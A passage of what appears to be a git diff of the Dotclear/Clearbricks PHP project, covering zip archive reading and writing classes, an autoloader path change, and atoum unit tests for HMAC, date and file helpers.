'total_entries' => $eodir['total_entries'][1],
'size_of_cd' => $eodir['size_of_cd'][1],
'offset_start_cd' => $eodir['offset_start_cd'][1],
'zipfile_comment' => $eodir['zipfile_comment'],
];
fseek($fp, $this->eo_central['offset_start_cd']);
$signature = fread($fp, 4);
while ($signature == $this->dir_sig) {
$dir = [];
$dir['version_madeby'] = unpack('v', fread($fp, 2)); # version made by
$dir['version_needed'] = unpack('v', fread($fp, 2)); # version needed to extract
$dir['general_bit_flag'] = unpack('v', fread($fp, 2)); # general purpose bit flag
$dir['compression_method'] = unpack('v', fread($fp, 2)); # compression method
$dir['lastmod_time'] = unpack('v', fread($fp, 2)); # last mod file time
$dir['lastmod_date'] = unpack('v', fread($fp, 2)); # last mod file date
$dir['crc-32'] = fread($fp, 4); # crc-32
$dir['compressed_size'] = unpack('V', fread($fp, 4)); # compressed size
$dir['uncompressed_size'] = unpack('V', fread($fp, 4)); # uncompressed size
$file_name_len = unpack('v', fread($fp, 2)); # filename length
$extra_field_len = unpack('v', fread($fp, 2)); # extra field length
$file_comment_len = unpack('v', fread($fp, 2)); # file comment length
$dir['disk_number_start'] = unpack('v', fread($fp, 2)); # disk number start
$dir['internal_attributes'] = unpack('v', fread($fp, 2)); # internal file attributes-byte1
$dir['external_attributes1'] = unpack('v', fread($fp, 2)); # external file attributes-byte2
$dir['external_attributes2'] = unpack('v', fread($fp, 2)); # external file attributes
$dir['relative_offset'] = unpack('V', fread($fp, 4)); # relative offset of local header
$dir['file_name'] = $this->cleanFileName(fread($fp, $file_name_len[1])); # filename
$dir['extra_field'] = $extra_field_len[1] ? fread($fp, $extra_field_len[1]) : ''; # extra field
$dir['file_comment'] = $file_comment_len[1] ? fread($fp, $file_comment_len[1]) : ''; # file comment
$dir_list[$dir['file_name']] = [
'version_madeby' => $dir['version_madeby'][1],
'version_needed' => $dir['version_needed'][1],
'general_bit_flag' => str_pad(decbin($dir['general_bit_flag'][1]), 8, '0', STR_PAD_LEFT),
'compression_method' => $dir['compression_method'][1],
'lastmod_datetime' => $this->getTimeStamp($dir['lastmod_date'][1], $dir['lastmod_time'][1]),
'crc-32' => str_pad(dechex(ord($dir['crc-32'][3])), 2, '0', STR_PAD_LEFT) .
str_pad(dechex(ord($dir['crc-32'][2])), 2, '0', STR_PAD_LEFT) .
str_pad(dechex(ord($dir['crc-32'][1])), 2, '0', STR_PAD_LEFT) .
str_pad(dechex(ord($dir['crc-32'][0])), 2, '0', STR_PAD_LEFT),
'compressed_size' => $dir['compressed_size'][1],
'uncompressed_size' => $dir['uncompressed_size'][1],
'disk_number_start' => $dir['disk_number_start'][1],
'internal_attributes' => $dir['internal_attributes'][1],
'external_attributes1' => $dir['external_attributes1'][1],
'external_attributes2' => $dir['external_attributes2'][1],
'relative_offset' => $dir['relative_offset'][1],
'file_name' => $dir['file_name'],
'extra_field' => $dir['extra_field'],
'file_comment' => $dir['file_comment'],
];
$signature = fread($fp, 4);
}
foreach ($dir_list as $k => $v) {
if ($exclude && preg_match($exclude, (string) $k)) {
continue;
}
$i = $this->getFileHeaderInformation($v['relative_offset']);
$this->compressed_list[$k]['file_name'] = $k;
$this->compressed_list[$k]['is_dir'] = $v['external_attributes1'] == 16 || substr($k, -1, 1) == '/';
$this->compressed_list[$k]['compression_method'] = $v['compression_method'];
$this->compressed_list[$k]['version_needed'] = $v['version_needed'];
$this->compressed_list[$k]['lastmod_datetime'] = $v['lastmod_datetime'];
$this->compressed_list[$k]['crc-32'] = $v['crc-32'];
$this->compressed_list[$k]['compressed_size'] = $v['compressed_size'];
$this->compressed_list[$k]['uncompressed_size'] = $v['uncompressed_size'];
$this->compressed_list[$k]['lastmod_datetime'] = $v['lastmod_datetime'];
$this->compressed_list[$k]['extra_field'] = $i['extra_field'];
$this->compressed_list[$k]['contents_start_offset'] = $i['contents_start_offset'];
if (strtolower($stop_on_file) == strtolower($k)) {
break;
}
}
return true;
}
}
return false;
}
protected function loadFileListBySignatures($stop_on_file = false, $exclude = false)
{
$fp = $this->fp();
fseek($fp, 0);
$return = false;
while (true) {
$details = $this->getFileHeaderInformation();
if (!$details) {
fseek($fp, 12 - 4, SEEK_CUR); # 12: Data descriptor - 4: Signature (that will be read again)
$details = $this->getFileHeaderInformation();
}
if (!$details) {
break;
}
$filename = $details['file_name'];
if ($exclude && preg_match($exclude, (string) $filename)) {
continue;
}
$this->compressed_list[$filename] = $details;
$return = true;
if (strtolower($stop_on_file) == strtolower($filename)) {
break;
}
}
return $return;
}
protected function getFileHeaderInformation($start_offset = false)
{
$fp = $this->fp();
if ($start_offset !== false) {
fseek($fp, $start_offset);
}
$signature = fread($fp, 4);
if ($signature == $this->zip_sig) {
# Get information about the zipped file
$file = [];
$file['version_needed'] = unpack('v', fread($fp, 2)); # version needed to extract
$file['general_bit_flag'] = unpack('v', fread($fp, 2)); # general purpose bit flag
$file['compression_method'] = unpack('v', fread($fp, 2)); # compression method
$file['lastmod_time'] = unpack('v', fread($fp, 2)); # last mod file time
$file['lastmod_date'] = unpack('v', fread($fp, 2)); # last mod file date
$file['crc-32'] = fread($fp, 4); # crc-32
$file['compressed_size'] = unpack('V', fread($fp, 4)); # compressed size
$file['uncompressed_size'] = unpack('V', fread($fp, 4)); # uncompressed size
$file_name_len = unpack('v', fread($fp, 2)); # filename length
$extra_field_len = unpack('v', fread($fp, 2)); # extra field length
$file['file_name'] = $this->cleanFileName(fread($fp, $file_name_len[1])); # filename
$file['extra_field'] = $extra_field_len[1] ? fread($fp, $extra_field_len[1]) : ''; # extra field
$file['contents_start_offset'] = ftell($fp);
# Look for the next file
fseek($fp, $file['compressed_size'][1], SEEK_CUR);
# Mount file table
return [
'file_name' => $file['file_name'],
'is_dir' => substr($file['file_name'], -1, 1) == '/',
'compression_method' => $file['compression_method'][1],
'version_needed' => $file['version_needed'][1],
'lastmod_datetime' => $this->getTimeStamp($file['lastmod_date'][1], $file['lastmod_time'][1]),
'crc-32' => str_pad(dechex(ord($file['crc-32'][3])), 2, '0', STR_PAD_LEFT) .
str_pad(dechex(ord($file['crc-32'][2])), 2, '0', STR_PAD_LEFT) .
str_pad(dechex(ord($file['crc-32'][1])), 2, '0', STR_PAD_LEFT) .
str_pad(dechex(ord($file['crc-32'][0])), 2, '0', STR_PAD_LEFT),
'compressed_size' => $file['compressed_size'][1],
'uncompressed_size' => $file['uncompressed_size'][1],
'extra_field' => $file['extra_field'],
'general_bit_flag' => str_pad(decbin($file['general_bit_flag'][1]), 8, '0', STR_PAD_LEFT),
'contents_start_offset' => $file['contents_start_offset'],
];
}
return false;
}
protected function getTimeStamp($date, $time)
{
$BINlastmod_date = str_pad(decbin($date), 16, '0', STR_PAD_LEFT);
$BINlastmod_time = str_pad(decbin($time), 16, '0', STR_PAD_LEFT);
$lastmod_dateY = bindec(substr($BINlastmod_date, 0, 7)) + 1980;
$lastmod_dateM = bindec(substr($BINlastmod_date, 7, 4));
$lastmod_dateD = bindec(substr($BINlastmod_date, 11, 5));
$lastmod_timeH = bindec(substr($BINlastmod_time, 0, 5));
$lastmod_timeM = bindec(substr($BINlastmod_time, 5, 6));
$lastmod_timeS = bindec(substr($BINlastmod_time, 11, 5)) * 2;
return mktime($lastmod_timeH, $lastmod_timeM, $lastmod_timeS, $lastmod_dateM, $lastmod_dateD, $lastmod_dateY);
}
protected function cleanFileName($n)
{
$n = str_replace('../', '', (string) $n);
$n = preg_replace('#^/+#', '', (string) $n);
return $n;
}
protected function memoryAllocate($size)
{
$mem_used = function_exists('memory_get_usage') ? @memory_get_usage() : 4000000;
$mem_limit = @ini_get('memory_limit');
if ($mem_limit && trim((string) $mem_limit) === '-1' || !files::str2bytes($mem_limit)) {
// Cope with memory_limit set to -1 in PHP.ini
return;
}
if ($mem_used && $mem_limit) {
$mem_limit = files::str2bytes($mem_limit);
$mem_avail = $mem_limit - $mem_used - (512 * 1024);
$mem_needed = $size;
if ($mem_needed > $mem_avail) {
if (@ini_set('memory_limit', (string) ($mem_limit + $mem_needed + $mem_used)) === false) {
throw new Exception(__('Not enough memory to open file.'));
}
if (!$this->memory_limit) {
$this->memory_limit = $mem_limit;
}
}
}
}
}

View file

@ -0,0 +1,352 @@
<?php
/**
* @class fileZip
*
* @package Clearbricks
* @subpackage Zip
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class fileZip
{
protected $entries = [];
protected $root_dir = null;
protected $ctrl_dir = [];
protected $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
protected $old_offset = 0;
protected $fp;
protected $memory_limit = null;
protected $exclusions = [];
public function __construct($out_fp)
{
if (!is_resource($out_fp)) {
throw new Exception('Output file descriptor is not a resource');
}
if (!in_array(get_resource_type($out_fp), ['stream', 'file'])) {
throw new Exception('Output file descriptor is not a valid resource');
}
$this->fp = $out_fp;
}
public function __destruct()
{
$this->close();
}
public function close()
{
if ($this->memory_limit) {
ini_set('memory_limit', $this->memory_limit);
}
}
public function addExclusion($reg)
{
$this->exclusions[] = $reg;
}
public function addFile($file, $name = null)
{
$file = preg_replace('#[\\\/]+#', '/', (string) $file);
if (!$name) {
$name = $file;
}
$name = $this->formatName($name);
if ($this->isExcluded($name)) {
return;
}
if (!file_exists($file) || !is_file($file)) {
throw new Exception(__('File does not exist'));
}
if (!is_readable($file)) {
throw new Exception(__('Cannot read file'));
}
$info = stat($file);
$this->entries[$name] = [
'file' => $file,
'is_dir' => false,
'mtime' => $info['mtime'],
'size' => $info['size'],
];
}
public function addDirectory($dir, $name = null, $recursive = false)
{
$dir = preg_replace('#[\\\/]+#', '/', (string) $dir);
if (substr($dir, -1 - 1) != '/') {
$dir .= '/';
}
if (!$name && $name !== '') {
$name = $dir;
}
if ($this->isExcluded($name)) {
return;
}
if ($name !== '') {
if (substr($name, -1, 1) != '/') {
$name .= '/';
}
$name = $this->formatName($name);
if ($name !== '') {
$this->entries[$name] = [
'file' => null,
'is_dir' => true,
'mtime' => time(),
'size' => 0,
];
}
}
if ($recursive) {
if (!is_dir($dir)) {
throw new Exception(__('Directory does not exist'));
}
if (!is_readable($dir)) {
throw new Exception(__('Cannot read directory'));
}
$D = dir($dir);
while (($e = $D->read()) !== false) {
if ($e == '.' || $e == '..') {
continue;
}
if (is_dir($dir . '/' . $e)) {
$this->addDirectory($dir . $e, $name . $e, true);
} elseif (is_file($dir . '/' . $e)) {
$this->addFile($dir . $e, $name . $e);
}
}
}
}
public function write()
{
foreach ($this->entries as $name => $v) {
if ($v['is_dir']) {
$this->writeDirectory($name);
} else {
$this->writeFile($name, $v['file'], $v['size'], $v['mtime']);
}
}
$ctrldir = implode('', $this->ctrl_dir);
fwrite(
$this->fp,
$ctrldir .
$this->eof_ctrl_dir .
pack('v', sizeof($this->ctrl_dir)) . # total # of entries "on this disk"
pack('v', sizeof($this->ctrl_dir)) . # total # of entries overall
pack('V', strlen($ctrldir)) . # size of central dir
pack('V', $this->old_offset) . # offset to start of central dir
"\x00\x00" # .zip file comment length
);
}
protected function writeDirectory($name)
{
if (!isset($this->entries[$name])) {
return;
}
$mdate = $this->makeDate(time());
$mtime = $this->makeTime(time());
# Data descriptor
$data_desc = "\x50\x4b\x03\x04" .
"\x0a\x00" . # ver needed to extract
"\x00\x00" . # gen purpose bit flag
"\x00\x00" . # compression method
pack('v', $mtime) . # last mod time
pack('v', $mdate) . # last mod date
pack('V', 0) . # crc32
pack('V', 0) . # compressed filesize
pack('V', 0) . # uncompressed filesize
pack('v', strlen($name)) . # length of pathname
pack('v', 0) . # extra field length
$name . # end of "local file header" segment
pack('V', 0) . # crc32
pack('V', 0) . # compressed filesize
pack('V', 0); # uncompressed filesize
$new_offset = $this->old_offset + strlen($data_desc);
fwrite($this->fp, $data_desc);
# Add to central record
$cdrec = "\x50\x4b\x01\x02" .
"\x00\x00" . # version made by
"\x0a\x00" . # version needed to extract
"\x00\x00" . # gen purpose bit flag
"\x00\x00" . # compression method
pack('v', $mtime) . # last mod time
pack('v', $mdate) . # last mod date
pack('V', 0) . # crc32
pack('V', 0) . # compressed filesize
pack('V', 0) . # uncompressed filesize
pack('v', strlen($name)) . # length of filename
pack('v', 0) . # extra field length
pack('v', 0) . # file comment length
pack('v', 0) . # disk number start
pack('v', 0) . # internal file attributes
pack('V', 16) . # external file attributes - 'directory' bit set
pack('V', $this->old_offset) . # relative offset of local header
$name;
$this->old_offset = $new_offset;
$this->ctrl_dir[] = $cdrec;
}
protected function writeFile($name, $file, $size, $mtime)
{
if (!isset($this->entries[$name])) {
return;
}
$filesize = filesize($file);
$this->memoryAllocate($filesize * 3);
$content = file_get_contents($file);
$unc_len = strlen($content);
$crc = crc32($content);
$zdata = gzdeflate($content);
$c_len = strlen($zdata);
unset($content);
$mdate = $this->makeDate($mtime);
$mtime = $this->makeTime($mtime);
# Data descriptor
$data_desc = "\x50\x4b\x03\x04" .
"\x14\x00" . # ver needed to extract
"\x00\x00" . # gen purpose bit flag
"\x08\x00" . # compression method
pack('v', $mtime) . # last mod time
pack('v', $mdate) . # last mod date
pack('V', $crc) . # crc32
pack('V', $c_len) . # compressed filesize
pack('V', $unc_len) . # uncompressed filesize
pack('v', strlen($name)) . # length of filename
pack('v', 0) . # extra field length
$name . # end of "local file header" segment
$zdata . # "file data" segment
pack('V', $crc) . # crc32
pack('V', $c_len) . # compressed filesize
pack('V', $unc_len); # uncompressed filesize
fwrite($this->fp, $data_desc);
unset($zdata);
$new_offset = $this->old_offset + strlen($data_desc);
# Add to central directory record
$cdrec = "\x50\x4b\x01\x02" .
"\x00\x00" . # version made by
"\x14\x00" . # version needed to extract
"\x00\x00" . # gen purpose bit flag
"\x08\x00" . # compression method
pack('v', $mtime) . # last mod time
pack('v', $mdate) . # last mod date
pack('V', $crc) . # crc32
pack('V', $c_len) . # compressed filesize
pack('V', $unc_len) . # uncompressed filesize
pack('v', strlen($name)) . # length of filename
pack('v', 0) . # extra field length
pack('v', 0) . # file comment length
pack('v', 0) . # disk number start
pack('v', 0) . # internal file attributes
pack('V', 32) . # external file attributes - 'archive' bit set
pack('V', $this->old_offset) . # relative offset of local header
$name;
$this->old_offset = $new_offset;
$this->ctrl_dir[] = $cdrec;
}
protected function formatName($name)
{
if (substr($name, 0, 1) == '/') {
$name = substr($name, 1);
}
return $name;
}
protected function isExcluded($name)
{
foreach ($this->exclusions as $reg) {
if (preg_match((string) $reg, (string) $name)) {
return true;
}
}
return false;
}
protected function makeDate($ts)
{
$year = date('Y', $ts) - 1980;
if ($year < 0) {
$year = 0;
}
$year = sprintf('%07b', $year);
$month = sprintf('%04b', date('n', $ts));
$day = sprintf('%05b', date('j', $ts));
return bindec($year . $month . $day);
}
protected function makeTime($ts)
{
$hour = sprintf('%05b', date('G', $ts));
$minute = sprintf('%06b', date('i', $ts));
$second = sprintf('%05b', ceil(date('s', $ts) / 2));
return bindec($hour . $minute . $second);
}
protected function memoryAllocate($size)
{
$mem_used = function_exists('memory_get_usage') ? @memory_get_usage() : 4000000;
$mem_limit = @ini_get('memory_limit');
if ($mem_limit && trim((string) $mem_limit) === '-1' || !files::str2bytes($mem_limit)) {
// Cope with memory_limit set to -1 in PHP.ini
return;
}
if ($mem_used && $mem_limit) {
$mem_limit = files::str2bytes($mem_limit);
$mem_avail = $mem_limit - $mem_used - (512 * 1024);
$mem_needed = $size;
if ($mem_needed > $mem_avail) {
if (@ini_set('memory_limit', (string) ($mem_limit + $mem_needed + $mem_used)) === false) {
throw new Exception(__('Not enough memory to open file.'));
}
if (!$this->memory_limit) {
$this->memory_limit = $mem_limit;
}
}
}
}
}

@ -1 +0,0 @@
Subproject commit e877570a574598b3b0812ac9fe1f778f11d8c4fc

View file

@ -14,8 +14,8 @@ define('DC_START_TIME', microtime(true));
# ClearBricks, DotClear classes auto-loader # ClearBricks, DotClear classes auto-loader
if (@is_dir(implode(DIRECTORY_SEPARATOR, ['usr', 'lib', 'clearbricks']))) { if (@is_dir(implode(DIRECTORY_SEPARATOR, ['usr', 'lib', 'clearbricks']))) {
define('CLEARBRICKS_PATH', implode(DIRECTORY_SEPARATOR, ['usr', 'lib', 'clearbricks'])); define('CLEARBRICKS_PATH', implode(DIRECTORY_SEPARATOR, ['usr', 'lib', 'clearbricks']));
} elseif (is_dir(implode(DIRECTORY_SEPARATOR, [__DIR__, 'libs', 'clearbricks']))) { } elseif (is_dir(implode(DIRECTORY_SEPARATOR, [__DIR__, 'helper']))) {
define('CLEARBRICKS_PATH', implode(DIRECTORY_SEPARATOR, [__DIR__, 'libs', 'clearbricks'])); define('CLEARBRICKS_PATH', implode(DIRECTORY_SEPARATOR, [__DIR__, 'helper']));
} elseif (isset($_SERVER['CLEARBRICKS_PATH']) && is_dir($_SERVER['CLEARBRICKS_PATH'])) { } elseif (isset($_SERVER['CLEARBRICKS_PATH']) && is_dir($_SERVER['CLEARBRICKS_PATH'])) {
define('CLEARBRICKS_PATH', $_SERVER['CLEARBRICKS_PATH']); define('CLEARBRICKS_PATH', $_SERVER['CLEARBRICKS_PATH']);
} }

View file

@ -33,7 +33,8 @@ parameters:
excludePaths: excludePaths:
- inc/config.php - inc/config.php
- inc/libs/clearbricks/tests/*/* - inc/libs/clearbricks/*/*
# - inc/libs/clearbricks/tests/*/*
dynamicConstantNames: dynamicConstantNames:
- DC_ADBLOCKER_CHECK - DC_ADBLOCKER_CHECK

51
tests/unit/bootstrap.php Normal file
View file

@ -0,0 +1,51 @@
<?php
# ***** BEGIN LICENSE BLOCK *****
# This file is part of Clearbricks.
# Copyright (c) 2003-2013 Olivier Meunier & Association Dotclear
# All rights reserved.
#
# Clearbricks is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# Clearbricks is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Clearbricks; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
#
# ***** END LICENSE BLOCK *****
define('CLEARBRICKS_PATH', __DIR__ . '/../../inc/helper');
require_once __DIR__ . '/../../vendor/autoload.php';
$__autoload = [];
$__autoload['dbStruct'] = CLEARBRICKS_PATH . '/dbschema/class.dbstruct.php';
$__autoload['dbSchema'] = CLEARBRICKS_PATH . '/dbschema/class.dbschema.php';
$__autoload['mysqliSchema'] = CLEARBRICKS_PATH . '/dbschema/class.mysqli.dbschema.php';
$__autoload['mysqlimb4Schema'] = CLEARBRICKS_PATH . '/dbschema/class.mysqlimb4.dbschema.php';
$__autoload['pgsqlSchema'] = CLEARBRICKS_PATH . '/dbschema/class.pgsql.dbschema.php';
$__autoload['sqliteSchema'] = CLEARBRICKS_PATH . '/dbschema/class.sqlite.dbschema.php';
$__autoload['dbLayer'] = CLEARBRICKS_PATH . '/dblayer/dblayer.php';
$__autoload['mysqliConnection'] = CLEARBRICKS_PATH . '/dblayer/class.mysqli.php';
$__autoload['mysqlimb4Connection'] = CLEARBRICKS_PATH . '/dblayer/class.mysqlimb4.php';
$__autoload['pgsqlConnection'] = CLEARBRICKS_PATH . '/dblayer/class.pgsql.php';
$__autoload['sqliteConnection'] = CLEARBRICKS_PATH . '/dblayer/class.sqlite.php';
function cb_autoload($name)
{
global $__autoload;
if (isset($__autoload[$name])) {
require_once $__autoload[$name];
}
}
spl_autoload_register('cb_autoload');

View file

@ -0,0 +1,160 @@
<?php
# -- BEGIN LICENSE BLOCK ---------------------------------------
#
# This file is part of Dotclear 2.
#
# Copyright (c) Olivier Meunier & Association Dotclear
# Licensed under the GPL version 2.0 license.
# See LICENSE file or
# http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
#
# -- END LICENSE BLOCK -----------------------------------------
namespace tests\unit;
require_once __DIR__ . '/../bootstrap.php';
require_once CLEARBRICKS_PATH . '/common/lib.crypt.php';
use atoum;
use Faker;
/**
* Crypt test.
*/
class crypt extends atoum
{
public const BIG_KEY_SIZE = 200;
public const DATA_SIZE = 50;
private $big_key;
private $data;
public function __construct()
{
parent::__construct();
$faker = Faker\Factory::create();
$this->big_key = $faker->text(self::BIG_KEY_SIZE);
$this->data = $faker->text(self::DATA_SIZE);
}
/**
* Test big key. crypt don't allow key > than 64 cars
*/
public function testHMacBigKeyMD5()
{
$this
->string(\crypt::hmac($this->big_key, $this->data, 'md5'))
->isIdenticalTo(hash_hmac('md5', $this->data, $this->big_key));
}
/**
* hmac implicit SHA1 encryption (default argument)
*/
public function testHMacSHA1Implicit()
{
$this
->string(\crypt::hmac($this->big_key, $this->data))
->isIdenticalTo(hash_hmac('sha1', $this->data, $this->big_key));
}
/**
* hmac explicit SHA1 encryption
*/
public function testHMacSHA1Explicit()
{
$this
->string(\crypt::hmac($this->big_key, $this->data, 'sha1'))
->isIdenticalTo(hash_hmac('sha1', $this->data, $this->big_key));
}
/**
* hmac explicit MD5 encryption
*/
public function testHMacMD5()
{
$this
->string(\crypt::hmac($this->big_key, $this->data, 'md5'))
->isIdenticalTo(hash_hmac('md5', $this->data, $this->big_key));
}
/**
* If the encoder is not known, fallback into sha1 encoder (if PHP hash_hmac() exists)
*/
public function testHMacFallback()
{
$this
->string(\crypt::hmac($this->big_key, $this->data, 'dummyencoder'))
->isIdenticalTo(hash_hmac('sha1', $this->data, $this->big_key));
}
/**
* hmac_legacy implicit
*/
public function testHMacLegacy()
{
$this
->string(\crypt::hmac_legacy($this->big_key, $this->data))
->isIdenticalTo(hash_hmac('sha1', $this->data, $this->big_key));
}
/**
* hmac_legacy explicit MD5 encryption
*/
public function testHMacLegacyMD5()
{
$this
->string(\crypt::hmac_legacy($this->big_key, $this->data, 'md5'))
->isIdenticalTo(hash_hmac('md5', $this->data, $this->big_key));
}
/**
* hmac_legacy explicit Sha1 encryption
*/
public function testHMacLegacySha1()
{
$this
->string(\crypt::hmac_legacy($this->big_key, $this->data, 'sha1'))
->isIdenticalTo(hash_hmac('sha1', $this->data, $this->big_key));
}
/**
* If the encoder is not known, fallback into sha1 encoder (if PHP hash_hmac() exists)
*/
public function testHMacLegacyFallback()
{
$this
->string(\crypt::hmac_legacy($this->big_key, $this->data, 'dummyencoder'))
->isIdenticalTo(hash_hmac('md5', $this->data, $this->big_key));
}
/**
* Password must be 8 char size and only contains alpha numerical
* values
*/
public function testCreatePassword()
{
for ($i = 0; $i < 10; $i++) {
$this
->string(\crypt::createPassword())
->hasLength(8)
->match('/[a-zA-Z0-9@\!\$]/');
}
for ($i = 0; $i < 10; $i++) {
$this
->string(\crypt::createPassword(10))
->hasLength(10)
->match('/[a-zA-Z0-9@\!\$]/');
}
for ($i = 0; $i < 10; $i++) {
$this
->string(\crypt::createPassword(13))
->hasLength(13)
->match('/[a-zA-Z0-9@\!\$]/');
}
}
}

View file

@ -0,0 +1,221 @@
<?php
# -- BEGIN LICENSE BLOCK ---------------------------------------
#
# This file is part of Dotclear 2.
#
# Copyright (c) 2003-2013 Olivier Meunier & Association Dotclear
# Licensed under the GPL version 2.0 license.
# See LICENSE file or
# http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
#
# -- END LICENSE BLOCK -----------------------------------------
namespace tests\unit;
require_once __DIR__ . '/../bootstrap.php';
require_once CLEARBRICKS_PATH . '/common/lib.l10n.php';
require_once CLEARBRICKS_PATH . '/common/lib.date.php';
use atoum;
/**
* Test clearbrick dt (date) class.
*/
class dt extends atoum
{
/**
* Normal way. The result must be as the PHP function.
*/
public function testStrNormal()
{
\dt::setTZ('UTC');
$this
->string(\dt::str('%d%m%Y'))
// Avoid deprecated notice until PHP 9 should be supported or a correct strftime() replacement
->isEqualTo(@strftime('%d%m%Y'));
}
/**
* Timestamp is set to 1 which is 1 second after Janurary, 1th 1970
*/
public function testStrTimestamp()
{
\dt::setTZ('UTC');
$this
->string(\dt::str('%d%m%Y', 1))
->isEqualTo('01011970');
}
/**
* Difference between two time zones. Europe/Paris is GMT+1 and Indian/Reunion is
* GMT+4. The difference might be 3.
* The timestamp is forced due to the summer or winter time.
*/
public function testStrWithTimestampAndTimezone()
{
\dt::setTZ('UTC');
$this
->integer((int) \dt::str('%H', 1, 'Indian/Reunion') - (int) \dt::str('%H', 1, 'Europe/Paris'))
->isEqualTo(3);
}
/**
* dt2str is a wrapper for dt::str but convert the human readable time
* into a computer understandable time
*/
public function testDt2Str()
{
\dt::setTZ('UTC');
$this
->string(\dt::dt2str('%Y', '1970-01-01'))
->isEqualTo(\dt::str('%Y', 1));
}
/**
*
*/
public function testSetGetTZ()
{
\dt::setTZ('Indian/Reunion');
$this->string(\dt::getTZ())->isEqualTo('Indian/Reunion');
}
/**
* dtstr with anything but the time. We don't test strtodate,
* we test dt1str will always have the same behaviour.
*/
public function testDt2DummyStr()
{
\dt::setTZ('UTC');
$this
->string(\dt::dt2str('%Y', 'Everything but a time'))
->isEqualTo(\dt::str('%Y'));
}
/*
* Convert timestamp to ISO8601 date
*/
public function testISO8601()
{
\dt::setTZ('UTC');
$this
->string(\dt::iso8601(1, 'UTC'))
->isEqualTo('1970-01-01T00:00:01+00:00');
}
/*
* Convert timestamp to ISO8601 date but not UTC.
*/
public function testISO8601WithAnotherTimezone()
{
\dt::setTZ('UTC');
$this
->string(\dt::iso8601(1, 'Indian/Reunion'))
->isEqualTo('1970-01-01T00:00:01+04:00');
}
public function testRfc822()
{
\dt::setTZ('UTC');
$this
->string(\dt::rfc822(1, 'Indian/Reunion'))
->isEqualTo('Thu, 01 Jan 1970 00:00:01 +0400');
}
public function testGetTimeOffset()
{
\dt::setTZ('UTC');
$this
->integer(\dt::getTimeOffset('Indian/Reunion'))
->isEqualTo(4 * 3600);
}
public function testToUTC()
{
\dt::setTZ('Indian/Reunion'); // UTC + 4
$this->integer(\dt::toUTC(4 * 3600))
->isEqualTo(0);
}
/*
* AddTimezone implies getZones but I prefer testing both of them separatly
*/
public function testAddTimezone()
{
\dt::setTZ('UTC');
$this
->integer(\dt::addTimeZone('Indian/Reunion', 0))
->isEqualTo(4 * 3600);
\dt::setTZ('UTC');
$this
->integer(\dt::addTimeZone('Indian/Reunion') - time() - \dt::getTimeOffset('Indian/Reunion'))
->isEqualTo(0);
}
/*
* There's many different time zone. Basicly, dt::getZone call a PHP function.
* Ensure that the key is the value array('time/zone' => 'time/zone')
*/
public function testGetZones()
{
$tzs = \dt::getZones();
$this
->array($tzs)
->isNotNull();
$this
->string($tzs['Europe/Paris'])
->isEqualTo('Europe/Paris');
// Test another call
$tzs = \dt::getZones();
$this
->array($tzs)
->isNotNull();
$this
->string($tzs['Indian/Reunion'])
->isEqualTo('Indian/Reunion');
}
public function testGetZonesFlip()
{
$tzs = \dt::getZones(true, false);
$this
->array($tzs)
->isNotNull();
$this
->string($tzs['Europe/Paris'])
->isEqualTo('Europe/Paris');
}
public function testGetZonesGroup()
{
$tzs = \dt::getZones(true, true);
$this
->array($tzs)
->isNotNull();
$this
->array($tzs['Europe'])
->isNotNull()
->string($tzs['Europe']['Europe/Paris'])
->isEqualTo('Europe/Paris');
}
public function testStr()
{
\dt::setTZ('UTC');
$this
->string(\dt::str('%a %A %b %B', 1))
->isEqualTo('_Thu Thursday _Jan January');
}
}

View file

@ -0,0 +1,593 @@
<?php
# -- BEGIN LICENSE BLOCK ---------------------------------------
#
# This file is part of Dotclear 2.
#
# Copyright (c) 2003-2013 Olivier Meunier & Association Dotclear
# Licensed under the GPL version 2.0 license.
# See LICENSE file or
# http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
#
# -- END LICENSE BLOCK -----------------------------------------
namespace tests\unit;
require_once __DIR__ . '/../bootstrap.php';
require_once CLEARBRICKS_PATH . '/common/lib.l10n.php';
require_once CLEARBRICKS_PATH . '/common/lib.files.php';
require_once CLEARBRICKS_PATH . '/common/lib.text.php';
define('TEST_DIRECTORY', realpath(
__DIR__ . '/../fixtures/files'
));
use atoum;
/*
* Test common/lib.files.php
*/
class files extends atoum
{
protected function cleanTemp()
{
// Look for test*, temp*, void* directories and files in TEST_DIRECTORY and destroys them
$items = \files::scandir(TEST_DIRECTORY);
if (is_array($items)) {
foreach ($items as $value) {
if (in_array(substr($value, 0, 4), ['test', 'temp', 'void'])) {
$name = TEST_DIRECTORY . DIRECTORY_SEPARATOR . $value;
if (is_dir($name)) {
\files::deltree($name);
} else {
@unlink($name);
}
}
}
}
}
public function setUp()
{
$counter = 0;
$this->cleanTemp();
// Check if everything is clean (as OS may have a filesystem cache for dir list)
while (($items = \files::scandir(TEST_DIRECTORY, true)) !== ['.', '..', '02-two.txt', '1-one.txt', '30-three.txt']) {
$counter++;
if ($counter < 10) {
// Wait 1 second, then clean again
var_dump($items);
sleep(1);
$this->cleanTemp();
} else {
// Can't do more then let's go
break;
}
}
}
public function tearDown()
{
$this->cleanTemp();
}
/**
* Scan a directory. For that we use the /../fixtures/files which contains
* know files
*/
public function testScanDir()
{
// Normal (sorted)
$this
->array(\files::scandir(TEST_DIRECTORY))
->isIdenticalTo(['.', '..', '02-two.txt', '1-one.txt', '30-three.txt']);
// Not sorted
$this
->array(\files::scandir(TEST_DIRECTORY, false))
->containsValues(['.', '..', '1-one.txt', '02-two.txt', '30-three.txt']);
// DOn't exists
$this
->exception(function () {
\files::scandir('thisdirectorydontexists');
});
}
/**
* Test the extension
*/
public function testExtension()
{
$this
->string(\files::getExtension('fichier.txt'))
->isEqualTo('txt');
$this
->string(\files::getExtension('fichier'))
->isEqualTo('');
}
/**
* Test the mime type with two well know mimetype
* Normally if a file type is unknow it must have a application/octet-stream mimetype
* javascript files might have an application/x-javascript mimetype regarding
* W3C spec.
